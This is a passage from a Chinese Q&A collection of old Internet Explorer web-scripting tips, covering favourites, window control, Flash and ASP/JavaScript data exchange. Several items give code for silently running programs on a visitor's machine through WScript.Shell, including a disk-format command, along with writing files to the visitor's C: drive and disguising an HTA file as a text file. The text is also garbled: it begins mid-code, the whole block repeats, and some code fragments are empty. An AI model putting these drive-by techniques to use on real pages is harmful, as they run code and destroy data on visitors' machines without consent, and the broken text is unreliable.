第53章
作者:佚名 更新:2021-12-03 10:35
FSO.FolderExists(loc)) // is Windows2000 up
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) { return; }
}
AddFavLnk(loc, top.document.title, top.location); //你也可以直接设置 top.document.title 为常量字符串
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
注:如果你的主页在 Frame 中,则收藏夹中的提示信息取分帧的主页的 Title。你也可以直接设置为常量字符串。
120,Q:用代码关闭 IE 窗口时不提示:
A:
function closewin() { cn=closes.Click(); }
121,Q:如何保存网页上的 Flash 动画?
A:1、在浏览网页的网站里面找 *.swf 文件,然后用蚂蚁之类的下载软件拉;
2、直接到 IE 的缓存目录里面搜索 *.swf 文件比较快;
3、如果在脱机浏览时,还能够看到 Flash,万幸! 赶快到 Windows 目录下的 Temporary Internet Files 文件夹下去找 Flash(Windows2000 下在 \Documents and Settings\用户名\Local Settings 文件夹下),它也许正老老实实地躺在那里呢。
122,Q:在网页中应用 wsh 对象执行浏览器端的程序(以运行 Command.com 为例)
A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
wsh.run('c:\\command.com');
注意:如果把 'c:\\command.com' 换成 'Format a: /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘! 请各位试验时保护好自己的数据,更提醒各位不要用此法害人!
123,Q:在网页中给浏览器端写文件
A:浏览包含以下代码的网页,会在浏览器端的 C: 盘跟目录下生成一个名为 file_created_by_ocx.txt 的文本文件,文件内容中包含字符串 "myfile:I want to write a file!":
document.scr.Reset();
document.scr.Path="C:\\file_created_by_ocx.txt";
document.scr.Doc="myfile:I want to write a file!";
document.scr.write();
124,Q:在网页中不加任何提示打开浏览器本地可执行程序:
A:
document.write("");
function runcmd()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
Shell.run('c:\\command.com');
}
catch(e){};
}
setTimeout("runcmd()",1); //1ms
125,Q:用 GUID 构造 hta 文件:
A:建立一个名为 myfile.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} 的文件,看上去是一个文本文件,其实是一个 hta 文件,双击可以用 IE 打开。
126,Q:应用 wsh 对象的又一方法
A:
wsh=new ActiveXObject("WSCript.Shell") //声明
wsh.run("command.com") //执行命令
该脚本在 .hta 文件中执行没有提示,在 .htm 中执行有提示,且只有 IE 的安全级别设为最低才能执行。
127,Q:在网页上按任意键后,进入另一个页面
A:在网页的 中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
this.location="another.htm"
128,Q:在 FLASH 中是不是只能够插入 wav 格式的音乐文件?
A:在 Flash4 中只能插入 wav 格式,但在 Flash5 中已经可以插入别的格式了。如 MP3。
129,Q:Asp 与 Javascript 交换数据时一个问题的解决
A:有下列一段代码,用 Javascript 接受 Asp 的一个变量 strVal 的值:
alert()
但是,在 Js 中,显示该值为 "68",显然 Js 把 Asp 的字符串值 "0104" 作为自己的 8 进制数给用了(在 Js 中以 0 打头的数值为 8 进制数)。由于 Js 为弱类型的语言,它接收到 strVal 的值后默认其为数值型变量。这就把变量的类型给强行转换了。
为了避免这两种语言交换字符串数据时产生的语义分歧,必须在 Asp 中给字符串的首、尾加上单引号,这样 Js 接收后就不会误会了,即:
130,Q:在网页中用 Javascript 判断 IE 窗口是否打开,还可以对 IE 窗口进行关闭/置前/置后操作
A:按“打开窗口”按钮后,如果 new.htm 没有打开,则打开它;如果打开了,就报告“new.htm is already opened.”。
var myPage;
function openMyPage()
{
if (!myPage || myPage.closed)
{ myPage=window.open("new.htm", "_blank"); }
else
{ alert("new.htm is already opened."); }
}
以下函数还可以关闭上面打开的 IE 窗口:
function closeMyPage()
{ myPage.close(); }
置前 IE 窗口:
function focusMyPage()
{ myPage.focus(); }
置后 IE 窗口:
function blurMyPage()
{ myPage.blur(); }
以上方法只能打开、判断、操作本 IE 内代码控制的窗口,对别的 IE 进程的子窗口不起作用。
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) { return; }
}
AddFavLnk(loc, top.document.title, top.location); //你也可以直接设置 top.document.title 为常量字符串
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
注:如果你的主页在 Frame 中,则收藏夹中的提示信息取分帧的主页的 Title。你也可以直接设置为常量字符串。
120,Q:用代码关闭 IE 窗口时不提示:
A:
function closewin() { cn=closes.Click(); }
121,Q:如何保存网页上的 Flash 动画?
A:1、在浏览网页的网站里面找 *.swf 文件,然后用蚂蚁之类的下载软件拉;
2、直接到 IE 的缓存目录里面搜索 *.swf 文件比较快;
3、如果在脱机浏览时,还能够看到 Flash,万幸! 赶快到 Windows 目录下的 Temporary Internet Files 文件夹下去找 Flash(Windows2000 下在 \Documents and Settings\用户名\Local Settings 文件夹下),它也许正老老实实地躺在那里呢。
122,Q:在网页中应用 wsh 对象执行浏览器端的程序(以运行 Command.com 为例)
A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
wsh.run('c:\\command.com');
注意:如果把 'c:\\command.com' 换成 'Format a: /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘! 请各位试验时保护好自己的数据,更提醒各位不要用此法害人!
123,Q:在网页中给浏览器端写文件
A:浏览包含以下代码的网页,会在浏览器端的 C: 盘跟目录下生成一个名为 file_created_by_ocx.txt 的文本文件,文件内容中包含字符串 "myfile:I want to write a file!":
document.scr.Reset();
document.scr.Path="C:\\file_created_by_ocx.txt";
document.scr.Doc="myfile:I want to write a file!";
document.scr.write();
124,Q:在网页中不加任何提示打开浏览器本地可执行程序:
A:
document.write("");
function runcmd()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
Shell.run('c:\\command.com');
}
catch(e){};
}
setTimeout("runcmd()",1); //1ms
125,Q:用 GUID 构造 hta 文件:
A:建立一个名为 myfile.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} 的文件,看上去是一个文本文件,其实是一个 hta 文件,双击可以用 IE 打开。
126,Q:应用 wsh 对象的又一方法
A:
wsh=new ActiveXObject("WSCript.Shell") //声明
wsh.run("command.com") //执行命令
该脚本在 .hta 文件中执行没有提示,在 .htm 中执行有提示,且只有 IE 的安全级别设为最低才能执行。
127,Q:在网页上按任意键后,进入另一个页面
A:在网页的 中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
this.location="another.htm"
128,Q:在 FLASH 中是不是只能够插入 wav 格式的音乐文件?
A:在 Flash4 中只能插入 wav 格式,但在 Flash5 中已经可以插入别的格式了。如 MP3。
129,Q:Asp 与 Javascript 交换数据时一个问题的解决
A:有下列一段代码,用 Javascript 接受 Asp 的一个变量 strVal 的值:
alert()
但是,在 Js 中,显示该值为 "68",显然 Js 把 Asp 的字符串值 "0104" 作为自己的 8 进制数给用了(在 Js 中以 0 打头的数值为 8 进制数)。由于 Js 为弱类型的语言,它接收到 strVal 的值后默认其为数值型变量。这就把变量的类型给强行转换了。
为了避免这两种语言交换字符串数据时产生的语义分歧,必须在 Asp 中给字符串的首、尾加上单引号,这样 Js 接收后就不会误会了,即:
130,Q:在网页中用 Javascript 判断 IE 窗口是否打开,还可以对 IE 窗口进行关闭/置前/置后操作
A:按“打开窗口”按钮后,如果 new.htm 没有打开,则打开它;如果打开了,就报告“new.htm is already opened.”。
var myPage;
function openMyPage()
{
if (!myPage || myPage.closed)
{ myPage=window.open("new.htm", "_blank"); }
else
{ alert("new.htm is already opened."); }
}
以下函数还可以关闭上面打开的 IE 窗口:
function closeMyPage()
{ myPage.close(); }
置前 IE 窗口:
function focusMyPage()
{ myPage.focus(); }
置后 IE 窗口:
function blurMyPage()
{ myPage.blur(); }
以上方法只能打开、判断、操作本 IE 内代码控制的窗口,对别的 IE 进程的子窗口不起作用。
作品本身仅代表作者本人的观点,与本站立场无关。如因而由此导致任何法律问题或后果,本站均不负任何责任。